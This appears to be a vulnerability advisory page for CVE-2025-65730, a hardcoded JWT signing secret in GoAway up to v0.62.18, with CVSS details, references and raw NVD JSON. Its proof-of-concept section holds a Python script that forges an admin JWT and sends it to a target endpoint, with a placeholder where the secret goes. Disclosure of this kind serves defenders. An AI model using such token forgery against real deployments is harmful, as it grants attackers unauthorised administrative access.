Security Vulnerability Report
中文
CVE-2025-65730 CVSS 8.8 HIGH

CVE-2025-65730

Published: 2025-12-05 16:15:51
Last Modified: 2025-12-11 18:01:50

Description

Authentication Bypass via Hardcoded Credentials GoAway up to v0.62.18, fixed in 0.62.19, uses a hardcoded secret for signing JWT tokens used for authentication.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pommee:goaway:*:*:*:*:*:*:*:* - VULNERABLE
GoAway < 0.62.18
GoAway = 0.62.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import jwt import requests # Hardcoded secret key from GoAway v0.62.18 source code SECRET_KEY = "your-hardcoded-secret-key" # Target URL TARGET_URL = "http://target-server:8080/api/protected-endpoint" # Create malicious JWT payload with admin privileges payload = { "sub": "attacker", "role": "admin", "exp": 9999999999, "iat": 1701800000 } # Sign the JWT with the hardcoded secret token = jwt.encode(payload, SECRET_KEY, algorithm="HS256") print(f"Generated malicious JWT: {token}") # Send request with forged token headers = { "Authorization": f"Bearer {token}" } response = requests.get(TARGET_URL, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65730", "sourceIdentifier": "[email protected]", "published": "2025-12-05T16:15:50.773", "lastModified": "2025-12-11T18:01:50.123", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass via Hardcoded Credentials GoAway up to v0.62.18, fixed in 0.62.19, uses a hardcoded secret for signing JWT tokens used for authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pommee:goaway:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.62.19", "matchCriteriaId": "569FE2F5-5782-4B2C-88D4-7957BE9FD7D7"}]}]}], "references": [{"url": "https://github.com/gian2dchris/CVEs/tree/CVE-2025-65730/CVE-2025-65730", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/pommee/goaway/blob/v0.62.18/backend/api/auth.go#L48", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pommee/goaway/blob/v0.62.18/backend/api/middleware.go#L110", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pommee/goaway/blob/v0.62.18/backend/api/middleware.go#L15", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pommee/goaway/blob/v0.62.18/backend/api/middleware.go#L40", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pommee/goaway/blob/v0.62.18/backend/api/middleware.go#L69", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pommee/goaway/blob/v0.62.18/backend/api/middleware.go#L88", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pommee/goaway/commit/5769f8782b7453ca1c22a201b224b5ce48532f64#diff-4ddfd6cf1311ddfd45734bb1dc53bc208df69584ba92ac4f38866bd558434678L15-L40", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pommee/goaway/releases/tag/v0.62.16", "source": "[email protected]", "tags": ["Release Notes"]}]}}